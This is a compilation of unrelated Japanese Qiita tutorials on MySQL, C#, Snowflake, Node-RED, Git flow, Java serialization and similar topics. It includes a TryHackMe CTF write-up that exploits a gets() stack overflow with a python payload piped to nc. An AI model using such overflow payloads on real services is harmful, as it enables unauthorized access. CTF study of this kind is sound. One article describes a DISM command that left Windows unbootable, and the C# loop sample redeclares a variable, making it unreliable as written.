OmniAICreator/Qiita-1.07M huggingface dataset:
初心者向け｜MySQL Workbenchでデータベースを作る基本ステップ

## はじめに
MySQL用の公式GUIツール「MySQL Workbench」を使い、SQL文を書いてデータベースを作る方法を紹介します。
このツールを使うメリットは、コマンドラインとは違って、テーブルやリレーションの構造を図で見て理解しやすいことです。
## 対象としている読者
MySQLの初学者を対象としています。また私自身も初学者のため、学習の備忘録も兼ねています。内容に間違いがありましたら、優しくご指摘いただけるとうれしいです。
## 前提
MySQLがローカル環境にインストール済み（Workbenchから接続できる状態であること）
MySQL Workbenchがインストール済み
Workbenchのバージョンは`8.0.36`
## サンプルデータベースの完成図
最終的に、下記のサンプルデータベースが完成します
![sample_db完成図.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4051181/855619c8-49b1-433a-9a6c-cf97957ea411.png)
## 手順①：データベースを作成
Workbenchを起動し、接続先（Local Instanceなど）を選択

![インスタンス選択.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4051181/e6636179-a165-4386-bbc2-4e129fdfcc7f.png)

左上の「+」アイコン（Create a new SQL）を押すと、新しいSQLタブが開きます

![create a new SQL.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4051181/2b363ec7-746c-4ad3-90b4-63161f92f561.png)

次のSQL文を入力し、⚡マークをクリックして実行
```sql
CREATE DATABASE sample_db;
```
![⚡️実行.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4051181/6fb4b1d5-86d1-4421-98e1-845861f7e7f7.png)

## 手順②：テーブルを作成
使用するデータベース（ここでは`sample_db`）を指定
```sql
USE sample_db;
```
`CREATE TABLE`を使って`users`という名前のテーブルを作成
```sql
CREATE TABLE users (
  id INT AUTO_INCREMENT PRIMARY KEY,
  name VARCHAR(50),-- 名前
  email VARCHAR(100),-- メールアドレス
  age INT,-- 年齢
  city VARCHAR(50),-- 住んでいる都市
  created_at DATETIME-- 登録日時
);
```
`INSERT`を使ってデータを追加する
```sql
INSERT INTO users (name, email, age, city, created_at) VALUES
('Alice', 'alice@example.com', 25, 'Tokyo', '2024-01-10'),
('Bob', 'bob@example.com', 30, 'Osaka', '2024-02-15'),
('Charlie', 'charlie@abc.com', 28, 'Tokyo', '2024-03-05'),
('David', 'david@xyz.com', 35, 'Nagoya', '2024-03-10'),
('Eve', 'eve@example.com', 22, 'Sapporo', '2024-04-01'),
('Frank', 'frank@outlook.com', 40, 'Fukuoka', '2024-04-20'),
('Grace', 'grace@example.com', 27, 'Kobe', '2024-05-02'),
('Hank', 'hank@example.com', 33, 'Tokyo', '2024-05-15'),
('Ivy', 'ivy@abc.com', 26, 'Sendai', '2024-06-01'),
('Jack', 'jack@xyz.com', 31, 'Osaka', '2024-06-05');
```
## 手順③：データの確認
`SELECT`を使って、作ったテーブルの中身を確認。
```sql
SELECT * FROM users;
```
下部のResult Gridにテーブルデータが表示されれば作成に成功しています

![sql_テーブルデータ.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4051181/238f98e1-ca00-4815-b46b-97a675b04eea.png)
【C#】繰り返し処理と活用例

# はじめに
:::note warn
C#のスキルチェックで新たに学んだことを紹介する記事です。
記事の内容に誤りがあるかもしれませんが、ご了承ください。
（誤りがありましたら修正いたします:bow_tone1:）
:::
# 基本的な繰り返し処理
同じ処理を指定回数処理したい時に使用するのが、繰り返し（ループ）処理です。
```Loop.cs
// for文
// 指定回数ループする
for(int i = 0; i < 3; i++)
{
    Console.Write(i); // 出力結果：012
}

// while文
// 条件が満たされている間ループする
int n = 3;
while(n > 0)
{
    Console.Write(n); // 出力結果：321
    n--;
}

// do-while文
// ループ後に条件判定する
int n = 0;
do
{
    Console.Write(n); // 出力結果：0（必ず1回は実行される）
    n--;
}while(n > 0);

// foreach文
// 全ての要素を参照する
int[] n = {10, 15, 20};
foreach(int val in n)
{
    Console.Write(val); // 出力結果：101520
}
```
より詳細を知りたい方は[こちら](https://learn.microsoft.com/ja-jp/dotnet/csharp/language-reference/statements/iteration-statements)をご確認ください。

https://learn.microsoft.com/ja-jp/dotnet/csharp/language-reference/statements/iteration-statements

# 繰り返し処理を活用した複雑なコード
自然数 X, Y を入力し、要素数 X で自然数からなる数列 A 、要素数 Y で自然数からなる数列 B を入力します。
数列 A の値を B_1 個、B_2個、... B_X 個で分割し、それぞれの数列を改行区切りで出力するコードを考えてみます。
```Output.cs
// 期待する出力結果
1 2 3
4 5 6 7
8
9
```
```Sample.cs
using System;

class Program
{
    static void Main()
    {
        int X = 9;
        int Y = 4;
        int[] A = {1, 2, 3, 4, 5, 6, 7, 8, 9};
        int[] B = {3, 4, 1, 1};
        int begin = 0; // 1行で出力する最初の値のインデックス
        // 二重ループ
        for(int i = 0; i < Y; i++)
        {
            int end = begin + B[i] - 1; // 終点の設定、1行で出力する最後の値のインデックス
            for(int j = begin; j <= end; j++)
            {
                Console.Write(A[j]);
                if(j < end)
                {
                    Console.Write(" ");
                }
                else
                {
                    Console.WriteLine();
                }
            }
            begin = end + 1; // 始点の更新、i番目に出力する数列の始点はi-1番目に出力する数列の終点+1
        }
    }
}
```
指定回数の処理を繰り返す for 文に加えて、終点（改行）の設定、改行先の始点を指定するコードです。
二重ループを活用し、指定のタイミングで改行することができますが、このコードでは始点・終点をどのように設定するかがポイントになると思います。
# まとめ
ここでは、基本的な繰り返し処理と活用例を紹介しました。
forループの中にさらにforループを記述する二重ループを活用すれば九九表や罫線入りの表が作成でき、始点・終点の設定をすればより複雑な表も作成できます。

C#でプログラミングの基礎を学んだつもりでしたが、アルゴリズム問題等を通じて新しく学ぶことがあるので、引き続きアウトプットしていきたいと思います。
HTML /image

こんにちわ！私はHTMLで勉強した中写真とかアイコンとかどんなに入るのかそれのためにHTML　image　書いて教えます。

<h1>I am a cat person</h1>
<p>cat lover person </p>
<hr>
<img src="catt.png"alt="catt">
<h1>I am a dog person</h1>
<p>I am a dog lover</p>
<hr>
<img src="dogg.png"alt="dogg">

ここは＜ｈ１＞と＜ｐ＞たぐなんで<img　srcの方は写真入れるタグです。写真は前にフォルダに保存してたらやりやすいです。
【TryHackMe】Flag Vault Writeup

## はじめに
この記事はTryHackMeの「Flag Vault」の攻略メモです。

https://tryhackme.com/room/hfb1flagvault

## 🛠️ 検証環境
| 項目 | バージョン等 |
|------|--------------|
| 主要ツール | `nc` (v1.10-50) |

## 🖥️ Target Machineの確認

説明欄にある通り`nc`でポート1337に接続します。

```
nc MACHINE_IP 1337
```

`Username`を入力すると "Wrong password! No flag for you." が返って接続終了します。
```
  ______ _          __      __         _ _   
 |  ____| |         \ \    / /        | | |  
 | |__  | | __ _  __ \ \  / /_ _ _   _| | |_ 
 |  __| | |/ _` |/ _` \ \/ / _` | | | | | __|
 | |    | | (_| | (_| |\  / (_| | |_| | | |_ 
 |_|    |_|\__,_|\__, | \/ \__,_|\__,_|_|\__|
                  __/ |                      
                 |___/                       
                                             
Version 1.0 - Passwordless authentication evolved!
==================================================================

Username: hacker
Wrong password! No flag for you.  
```

公開されているソースコードを確認すると、`username` と `password` がそれぞれあらかじめ決められた文字列と一致したときだけ `flag` が表示されるロジックになっています。
ところが `password` の入力処理はコメントアウトされているため、通常の手順では一致条件を満たせず、正攻法ではフラグを取得できません。

```c
void login(){
    char password[100] = "";
    char username[100] = "";

    printf("Username: ");
    gets(username);

    // Password 入力はコメントアウト済み
    // gets(password);

    if(!strcmp(username, "bytereaper") &&      // username が一致
       !strcmp(password, "5up3rP4zz123Byte"))  // password が一致
    {
        print_flag();                          // → フラグ出力
    } else {
        puts("Wrong password! No flag for you.");
    }
}
```

ソースコードを解析すると、次の問題点が明らかになります。

- **`gets()` の使用**: 	`username`の入力長の制限が無く、改行文字が来るまで読み込み続ける
- **バッファの配置順序**:	`password[100]` → `username[100]` の順でスタック上に配置されるため、`username` があふれると、その直後の`password`を上書きできる

## 💣 Exploit手順

以下のコマンドで`flag`を取得することができます。

```
$ python -c 'print("bytereaper"+"\0"*102+"5up3rP4zz123Byte")' | nc 10.10.90.184 1337
  ______ _          __      __         _ _   
 |  ____| |         \ \    / /        | | |  
 | |__  | | __ _  __ \ \  / /_ _ _   _| | |_ 
 |  __| | |/ _` |/ _` \ \/ / _` | | | | | __|
 | |    | | (_| | (_| |\  / (_| | |_| | | |_ 
 |_|    |_|\__,_|\__, | \/ \__,_|\__,_|_|\__|
                  __/ |                      
                 |___/                       
                                             
Version 1.0 - Passwordless authentication evolved!
==================================================================

Username: THM{*******}
```
Chromebookで単語を辞書登録する方法！

お久しぶりですりょうです。
今回はChromebookで単語を辞書登録し、変換を楽にします！

# 単語の辞書登録
単語辞書登録とは、よく使う単語や固有名詞などを、日本語入力ソフトのユーザー辞書に登録し、入力時にスムーズに変換できるようにする機能です。
こうすることで、専門用語や固有の読みなどが簡単に入力できるようになります

# やり方
まず赤枠のとこを押して設定を開きます

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/2af9d983-e4b0-4dcb-9c03-a8f59c1e72ab.png)

設定のデバイス→キーボードと入力→入力設定→入力方法(日本語)のポップアップ部分をクリックします

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/2714072f-7751-4944-b0ef-54e63e94934a.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/183653b0-f479-4408-bcf5-5bc226f76f26.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/94d38853-4b39-4032-90c9-fb00ac6902ef.png)

そしたらこんな感じの画面にジャンプします。
その後ユーザー辞書の管理ってとこを押します

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/8a24bc77-98d4-488d-b354-5426a74bc7a8.png)

ここに読み、単語を入れて完了を押すことですぐに変換で出てくるようになります！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/cc941763-c26f-443a-ae1f-de23fcfe894c.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/fce26f28-09c2-4a34-89c0-87778cac85bd.png)

# まとめ
意外と設定めんどくさいかもしれないけどやっておくとわりと便利なので設定をおすすめします

Discordに湧く荒らしの情報や対策方法の共有をしている自鯖です(1200人いきました！)
よければ参加お願いします↓

https://discord.com/invite/ESRGwGQhxc

twitter🐦️

https://twitter.com/ryo_001339

youtube

https://www.youtube.com/@00139-ryo
情報記憶と量子力学 〜MOSトランジスタとフラッシュメモリ〜



【1】情報を記録するって、どういうこと？

私たちがスマートフォンやUSBメモリで扱う**「情報」**とは、基本的には **電気信号（ON / OFF）**の集まりです。
そしてこのON/OFFを実現する基本部品が、MOSトランジスタです。

⸻

【2】MOSトランジスタのしくみ

MOSトランジスタは、電気の流れを「通すか／止めるか」制御できるスイッチです。

◎ 構造：
	•	半導体（シリコン）の上に、
	•	ソース（S）
	•	ゲート（G）
	•	ドレイン（D）
という3つの電極があります。

◎ スイッチの動作：
	•	ゲート（G）に電圧をかけない → 電気が流れない（OFF）
	•	ゲート（G）に電圧をかける → 電気が流れる（ON）

👉 これは一種のコンデンサ構造で、ゲートの電圧で中の電子の状態を変えるしくみです。

⸻

【3】MOSトランジスタの限界：電源を切ると記憶できない

MOSトランジスタだけでは、常に電圧をかけ続けないと「ON状態」を保てない。
つまり、電源を切ると情報が消えてしまう。

⸻

【4】そこで登場：フラッシュメモリ

フラッシュメモリは、電源を切っても記憶が消えない不思議な装置。

どうしてそんなことができるのか？

⸻

【5】量子力学の出番：トンネル効果

絶縁体は本来、電子が通り抜けられない「壁」ですが、
**量子力学の世界では、電子は「たまに壁をすり抜けてしまう」**ことがあります。

これを トンネル効果 といいます。

⸻

【6】フラッシュメモリの動作原理


	•	薄い絶縁膜で囲まれた「浮遊ゲート」に電子を閉じ込める
	•	電圧をかけると、電子が絶縁膜を「トンネル効果」で通り抜けて外へ出る
	•	電子が逃げることで浮遊ゲートは正に帯電
	•	この状態が「ON状態」として記憶される

→ 一度この状態を作ってしまえば、電源を切っても電荷が残るので、記憶が保たれる。

⸻

【7】なぜこれがすごいのか？
	•	量子力学の知識（トンネル効果）
	•	ナノスケールの構造制御技術
	•	電気のON/OFF制御

この3つを組み合わせることで、親指サイズのメモリに何十ギガバイトもの情報を保存できるようになった。

⸻

🔚 総まとめ（一文で）

フラッシュメモリは、量子力学で説明されるトンネル効果を活かして、電気を使わずに情報を保持する仕組みであり、
MOSトランジスタの限界を超えた、人類の技術的芸術作品である。

⸻
プロデル、調査 その30

# 概要
プロデルが、CLRらしいので、調べて見た。
練習問題やってみた。

# 練習問題
円グラフを描け。

# 写真

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/89630f37-ca36-4f04-b217-3b240f05d5a7.png)


# サンプルコード

```

「チャート.rdr」を参照する

チャート1というチャートを作る
	チャート1をクリアする
	チャート1のSizeは{500,500}
	チャート1のDockは「全体」
	チャート1にドーナツグラフを作ってシリーズ線1とする
	チャート1に凡例を作る
データは{1.0, 0.8, 1.8, 0.2, 1.2}
合計は0
データの個数回数に繰り返す
	合計 = 合計 + データ(数)
そして
合計を報告する
データの個数回数に繰り返す
	レートは、データ(数)  * 100 / 合計
	レートを報告する
	シリーズ線1に(データポイント(レート,　レート)を作ったもの)を加える
そして
エリア1というチャートエリアを作る
チャート1にエリア1を加える

メイン画面を表示する
待機する

メイン画面とは
	ウィンドウを継承する
はじめの手順
	初期化する
	チャート1を貼る
終わり
	初期化する手順
		この実質大きさは｛428,394｝
		この内容は「円グラフテスト」
		初期化開始する
		初期化終了する
		この設計スケール比率は｛144,144｝
終わり
終わり


```

以上。
SnowflakeへのOAuth認証で沼った話と権限設定

Snowflakeにデータを蓄積し、Tableauでグラフ化しようとした際にいくつかハマった点があるので本記事で備忘録的に紹介しておきます。

:::note info
本記事は元々、データパレード様のブログに私が執筆した技術ノウハウとして掲載したものです（下記）。Qiitaを通じてより多くの方に届けられれば、そして技術者の方と知見を共有し、フィードバックをいただく目的でご厚意のもと許可をいただき掲載しました。誠にありがとうございます。
:::

https://data-parade.com/snowflake-oauth-authentication-troubles-and-permissions/

# 権限が強すぎるとダメ！
TableauからSnowflakeへアクセスするため、Snowflake側にアクセス用のユーザーを強い権限であるACCOUNT_ADMINで作成しました。

事象としては、TableauからOAuthで繋げようとID・PWを入力しMFAを通った後画面が真っ白になり先へ進めないという状態になりました。

公式ドキュメントを見てみると、下記のような文言がありました。

https://docs.snowflake.com/ja/user-guide/oauth-snowflake-overview

![limitation_of_grant.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4099119/a3b290df-f9fe-4fb0-8de5-26697a5c5566.png)

要は強い権限では認証できないようです。そのため、今回は画像のアカウントパラメータを変更するのではなく、新しいロールを作成することにしました。

# 権限設定

system_userというアカウントを作成し、下記のように「access_from_tableau」というロールを作成・付与しました

```SQL
-- ロールの作成
CREATE OR REPLACE ROLE access_from_tableau;
-- 権限付与
GRANT USAGE ON WAREHOUSE warehouse_name TO ROLE access_from_tableau;
GRANT USAGE ON DATABASE db_name TO ROLE access_from_tableau;
GRANT USAGE ON SCHEMA db_name.schema_name TO ROLE access_from_tableau;
GRANT SELECT ON ALL TABLES IN SCHEMA db_name.schema_name TO ROLE access_from_tableau;
GRANT SELECT ON ALL VIEWS IN SCHEMA db_name.schema_name TO ROLE access_from_tableau;
-- 作成したロールをユーザーに付与
GRANT ROLE access_from_tableau TO USER system_user;
-- デフォルトロールの変更
ALTER USER system_user SET DEFAULT_ROLE = access_from_tableau;
ALTER USER system_user SET DEFAULT_WAREHOUSE = warehouse_name;

-- 今後作成するテーブルへのアクセス権限
GRANT SELECT ON FUTURE TABLES IN SCHEMA db_name.schema_name TO ROLE access_from_tableau;
```

warehouse_name、db_name、schema_nameにはそれぞれ権限付与したいウェアハウス、データベース、スキーマを指定してください。

今回はスキーマ以下のテーブルを全て見られるようにしていますが、テーブル別に設定することも可能です。

VIEWへのSELECT権限をつけるときは、その構成テーブルにも権限が必要な点は注意です。

権限付与により、Tableauからデータを参照できることを確認できました！

![accessable_snowflake_data_from_tableau_masked-968x1024.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4099119/6ead5af3-8f75-41b7-8d18-ec5cb929adb4.png)
【初投稿】自己紹介

初めまして、NATTと申します。
Qiitaへの投稿はこれが初めてになります。

## 軽く自己紹介

もともとは文系寄りの学部に在籍しており、エンジニアとは異なる職業を目指していましたが、いろいろあって、最終的には組み込みをメインとするエンジニア職に落ち着きました。

理系科目や論理的な思考はそれほど苦手ではなかったこともあり、決して残業は少なくないものの、なんだかんだで現在は楽しく仕事ができており、幸せです。

プログラミング言語どころか、ITリテラシーすらほとんど無かった私ですが、入社した会社は本当に良い人たちばかりで、人間関係で悩むことがほとんどありませんでした。これが非常に大きかったと感じています。


## 発信を始めようと思ったきっかけ

つい最近まで、仕事や技術への関心はそれほど高くなく、業務外で発信や情報収集などの活動を行うことはありませんでした。仕事以外の時間は、同人活動やゲーム、体に悪い（？）飲食などに費やす日々を送っていました。

しかし、これまで楽しんできた趣味に少し飽きがきたこともあり、また自分と同じようにほぼ知識ゼロからエンジニアになった方の助けになれたらという想いが芽生え、少しずつでも技術発信をしてみようと思ったのがきっかけです。

私はハードウェアに近い領域を担当することが多く、マイコン、RTOS、C言語、開発環境…といった内容の記事が中心になる予感がしています。

私が知識0の状態から業務に食らいついていってときの工夫も合わせて共有できればとも考えています。

## 今後の目標


同人活動からは一線を退いたものの、イラスト制作はいまだに好きなため、イラスト × 技術の掛け合わせで、技術同人誌を作ってみたいと考えています（ジャンルは思案中です）。

そのほかにも、

- 定期的な技術発信を継続すること
- エンジニアの知り合いを作り交流
- キャリアの方向性について考えていくこと

なども今後の目標にしていきたいと思っています。

---
ここまでご覧いただき、ありがとうございました。
コメントなど、お気軽にいただけると嬉しいです！
【小ネタ】Functionノードでモジュールのインポート ／ ローカルインストールした Node-RED でその環境独自の設定を使う

## はじめに

今回は Node-RED　について、以下を試したり確認したりします。

- Functionノードでモジュールのインポート
- ローカルインストールした Node-RED でその環境独自の設定を使う

上記2つ目は、以下の記事や過去の記事で使ったことがあるやり方（Node-RED のローカルインストールをした環境で使う形）で試しています。その環境を利用する際の環境設定を、PC内の他で使っているものと共用する形ではなく、独自のものにできないかという意図でやったものです。

●【小ネタ】 Node-RED の Functionノードで await を使う簡単なテスト - Qiita
　https://qiita.com/youtoy/items/615293f7dbcae0f6cdca



## Functionノードでモジュールのインポート

まず1つ目の Functionノードでのモジュールのインポートを試します。

### 必要な設定

これについては、Node-RED の設定（settings.js）で `functionExternalModules: true` となっている必要があるようです。これが true の状態になっていることを確認して、この先の内容を進めていきます。

### uuid のインストール

今回の Functionノードでのモジュールのインポートのお試しは、[uuid](https://www.npmjs.com/package/uuid) を使ってシンプルにやってみます。その uuid は、以下のコマンドでインストールします。

```zsh
npm i uuid
```

### uuid の読み込み

Node-RED上の Functionノードでモジュールをインポートします。

そのために、まずは以下のお試し用のフローを作りました。構成は、「Injectノードの操作部分をクリックしたら、Functionノードの処理が実行されて、結果がデバッグ出力される」というシンプルなものです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/8c7af25d-4118-4da8-b2d3-051d9040f732.png)

ここで、Functionノードの以下の「設定」タブを開き、以下の「追加」ボタンを押します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/b6c9f393-18d0-40b8-95cd-74525e017a21.png)

その後、モジュール名・インポート名を設定します。どちらの内容も、以下のように uuid にしました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/2730c91b-957a-4f68-b528-26da8d09cbb5.png)

これで、Functionノード内のコードで上記モジュールが使えるようになったようでした。


### Functionノードのコードと実行結果

次に、Functionノードでコードを書きます。具体的には、以下の内容です（読みこんだモジュールが使えているかどうかを確認するだけの、シンプルな内容にしています）。

```javascript
const id = uuid.v4();
msg.payload = id;
return msg;
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/4e6cdbc6-5ae5-4ce7-82b2-addb97e9f139.png)


なお上記のコード実装は、[uuid の npm のページ](https://www.npmjs.com/package/uuid)に掲載されたサンプルコードを見つつ作ったものです。

```javascript
import { v4 as uuidv4 } from 'uuid';
uuidv4(); // ⇨ '9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d'
```

#### 実行結果

実行結果は以下の通りです。無事、uuid を使った出力を得られたことを確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/fd959259-6ebd-4f6b-af0e-1ea10341a86f.png)



## ローカルインストールした Node-RED でその環境独自の設定を使う

ここからの内容は、上で書いていた試す内容の 2つ目のものです。


### 特別な対応をしない場合

Node-RED で使われる設定は、特別な対応をしない場合はローカルインストールした Node-RED でも、他と共用される設定を使う形になるようです。

それについては、以下の「設定ファイルはデフォルトで userDir内のものを使う」「userDir はデフォルトで `~/.node-red` となる」という内容が関係していそうなところです。

https://nodered.jp/docs/getting-started/local
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/adbcdffa-212b-4dbd-bce6-1f3ee29c54b4.png)

普段はこのデフォルト設定で使っていても、特に困ることはない状況ではあります。


### 設定を独自のものにする

独自設定を使うという話の実現方法は、独自で用意した settings.js を以下のようにコマンドの中に含めてやれば良さそうです（※ Node-RED をローカルインストールしているので、起動コマンドは `npx node-red` を使っていた状況で、これに `--settings 【settings.js を置いたフォルダのパス】/settings.js` の部分を足しています）。


```zsh
npx node-red --settings ./settings.js
```

これで、設定を他と共用する形ではなく、その環境独自のものにできそうです。

なお、ユーザーディレクトリも独自のものにしたい場合は、さらに `--userDir 【特定のフォルダのパス】` をつければ良さそうです。
Amazon Q CLIでゲームを作ってTシャツ応募キャンペーンをやってみたい(別件で大事故)

## 注意
本内容のつまづきは、本来起きない不具合のため、皆さんは気にせず気軽にトライしてください。

## いきさつ
AWSさんからAmazon Q CLIを使ってゲームを作って応募することで、
オリジナルTシャツがもらえるという企画があることを教えてもらえた。

https://community.aws/content/2xIoduO0xhkhUApQpVUIqBFGmAc/build-games-with-amazon-q-cli-and-score-a-t-shirt

AWSを初めて1年くらいになるけど、そういったグッズって持っていなかったので、
この機会にやってみようということで、応募要件である記事を書いてみる。

## いきなりつまづき
「Step 1 : AWS Builder ID に登録し・・・」は元々登録もしてあったので、特に何事もなく終了。
次の「Step 2 : Amazon Q CLI をマシンにインストールしてください。Ricardo Sueiras による Linux と Windows へのインストール方法ガイドがあります。」にてWindowsインストールガイドにて問題発生。

・丁寧なWindowsでの対応ガイド(機械翻訳挟んでもわかりやすかった)
https://community.aws/content/2v5PptEEYT2y0lRmZbFQtECA66M/the-essential-guide-to-installing-amazon-q-developer-cli-on-windows?trk=e07eca93-fa2f-4351-b567-f293b83eb635&sc_channel=el_

`wsl -d Ubuntu`にて問題発生。どうやらUbuntuなどないとのことだ。

## なんとか修復を試みる

ということで`wsl --install Ubuntu`にてUbuntuのインストールを開始。

![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4108140/4af2589b-b519-405c-9e6c-13099d87d065.png)

へぇ

どうやらVMPlatformの機能がぶっ壊れており始動できない模様。

こういうときのAIさん。
ChatGPTに最初は相談していたものの、最後には話がループしだしたのでClaudeさんにお願い。

肝心なところが消えてしまってわからないのだが、会話を繰り返すとこちらのDISM～の強力なコードを入力することで、いったんは修復されたようでインストールできた。
`dism /online /disable-feature /featurename:VirtualMachinePlatform`
(実際のコードはこれではなく、もうちょっと色々付加されたもの)

ここで一安心と設定を定着させるため再起動をかけると・・・

![スクリーンショット 2025-06-08 111306.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4108140/cc94ced4-2cf5-4cbf-a1ae-3e18c869af1b.png)

どうやら非常に肝心な部分が壊れてしまったようで、何度再起動しても修復しかけてもセーフモードすら起動しなくなる。

復元ポイントも作成していなったため、割り切ってWindowsの再インストール。

最近は非常に便利になっており、ボタンひとつでインターネットからWindowsを自動的にダウンロードインストールしてくれるし、ファイルも残したままにしてくれる。
ここは本当に便利になったと感心した。

## そうして

再起動後手順を続けると、今までの苦労が嘘のようにさくさくとすすみ、
手順に従って入力を続けていくだけで、この画面まで到達できた。:partly_sunny: 

![スクリーンショット 2025-06-08 111511.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4108140/cee9d8f5-9037-4c6f-a8c2-3c1fab2d0de4.png)

## さいごに

こんなことはめったにあることではないと思うので、皆さんは気兼ねなく
始めてもらえばいいんじゃないかと思います。

反省点として、やばそうな操作をするときはリカバリポイントをちゃんと設けたうえで実施するということ。
もしくは重要データはちゃんとバックアップを取ってから行うということ。
(今回はたまたま大丈夫だったからよかったけど・・・)

というわけで、次からようやく本筋がはじめられるということで、
今後ともよろしくおねがいします。
ブランチ運用（Git flow、GitHub flow、GitLab flow）

## Git flow

### 概要
- 安定性とリリース管理を重視した運用モデル
- 中〜大規模、リリース周期が明確なプロジェクト向け

### 主なブランチ
- `main`：リリース済みの安定版
- `develop`：次期リリースに向けた統合ブランチ
- `feature/*`：新機能開発用
- `release/*`：リリース準備用
- `hotfix/*`：緊急バグ修正用

### メリット
- 各工程が分離されており、リリース管理がしやすい
- 複数人・大規模なチームでも明確な役割分担が可能

### デメリット
- ブランチが多くなり、運用コストが高い
- シンプルなプロジェクトやCI/CD環境と相性が悪い

---

## GitHub flow

### 概要
- シンプルで軽量なブランチモデル
- 継続的デリバリー（CD）を前提とした開発に適する

### 主なブランチ
- `main`：常にデプロイ可能な状態
- `feature/*`：機能ごとに作成される短命ブランチ

### メリット
- シンプルで素早いリリースが可能
- ブランチが少なく、学習コストも低い

### デメリット
- 複数機能の並行開発やリリースの調整には不向き
- リリースタイミングを制御しにくい（常に本番にマージされる）

---

## GitLab flow

### 概要
- Git flow + GitHub flow の中間的な運用モデル
- 複数のブランチ運用スタイルが選択可能（環境駆動型など）

### 主なブランチ（例：環境駆動型）
- `main`：本番環境
- `pre-production` または `staging`：ステージング環境
- `feature/*`：開発用
- `release/*`：リリース準備用
- `hotfix/*`：本番バグ修正用

### メリット
- プロジェクトに応じて柔軟な設計が可能
- CI/CDやDevOpsとの統合がしやすい

### デメリット
- 柔軟な分、チーム内で運用ルールをしっかり設計しないと混乱しやすい
- 初期設計にある程度の知識が必要
【Java Gold】シリアライズ・デシリアライズについて

Javaの`readObject`・`writeObject`・`readResolve`・`writeReplace`を整理するために書きました。

---

## シリアライズ・デシリアライズとは

Javaでは、オブジェクトをファイルなどに保存したり、復元したりするために、シリアライズ／デシリアライズという仕組みが用意されています。

- **シリアライズ（Serialize）**：オブジェクトの状態をバイト列に変換して保存すること
- **デシリアライズ（Deserialize）**：保存されたバイト列からオブジェクトを復元すること

### Serializableインタフェースの実装が必要

シリアライズ対象のクラスは、`java.io.Serializable`インタフェースを実装する必要があります。

このインタフェースはマーカーインタフェースであり、特定のメソッドを持ちません。

```java
import java.io.Serializable;

public class User implements Serializable {
    private String name;
    private int age;
}

```

---

## readObject / writeObject とは

Javaは、標準で自動的にシリアライズ／デシリアライズ処理を行いますが、動作をカスタマイズしたい場合は、以下のメソッドを定義することができます。

### writeObject

```java
private void writeObject(ObjectOutputStream out) throws IOException

```

- オブジェクトのシリアライズ時に呼ばれます。
- `out.defaultWriteObject()` によりデフォルトの書き出しを行い、必要に応じて追加の処理が可能です。

### readObject

```java
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException

```

- デシリアライズ直後に呼ばれます。
- `in.defaultReadObject()` により標準の復元を行い、追加の処理を行うことができます。

### 使用例

```java
import java.io.*;

class User implements Serializable {
    private String name;
    private int age;

    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        // 必要な追加処理
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        // 復元後の処理
    }
}

```

### 補足

- 両メソッドとも **private** で定義する必要があります。
- 一時的なフィールドは `transient` 修飾子を付けることで、シリアライズ対象外にできます。

---

## シリアライズ／デシリアライズの基本的な使用例

```java
// シリアライズ
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("user.ser"));
out.writeObject(user);  // userはSerializableを実装したオブジェクト
out.close();

// デシリアライズ
ObjectInputStream in = new ObjectInputStream(new FileInputStream("user.ser"));
User user2 = (User) in.readObject();
in.close();

```

---

## writeReplace / readResolve とは

オブジェクトのシリアライズ／デシリアライズ時に、別のオブジェクトへ置き換えるための仕組みです。

### writeReplace

```java
private Object writeReplace() throws ObjectStreamException

```

- シリアライズの直前に呼ばれます。
- 戻り値のオブジェクトが、実際にシリアライズされます。

### 使用例

```java
private Object writeReplace() throws ObjectStreamException {
    return new ProxyUser(name);  // ProxyUserは別クラス
}

```

### readResolve

```java
private Object readResolve() throws ObjectStreamException

```

- デシリアライズ直後に呼ばれ、戻り値のオブジェクトが返されます。
- Singletonパターンなどで使用されます。

### 使用例

```java
private Object readResolve() throws ObjectStreamException {
    return Singleton.getInstance();
}

```

### 補足

- どちらも **private** で定義します。
- `ObjectStreamException` をスロー可能にするのが推奨されます（明示的で安全です）。
- これらのメソッドは、標準のシリアライズ処理には不要で、特殊な用途（不変性保持、Singleton実装、セキュリティ目的など）で利用されます。

---

## まとめ

| メソッド名 | タイミング | 目的 |
| --- | --- | --- |
| `writeObject` | シリアライズ時 | デフォルト処理＋独自の書き出し処理 |
| `readObject` | デシリアライズ時 | デフォルト復元＋復元後の独自処理 |
| `writeReplace` | シリアライズ時 | 別オブジェクトに置き換えて書き出し |
| `readResolve` | デシリアライズ時 | 復元されたオブジェクトを別のものに差し替える |

---

## おわりに

誤記や改善点があればコメントなどでご指摘ください。
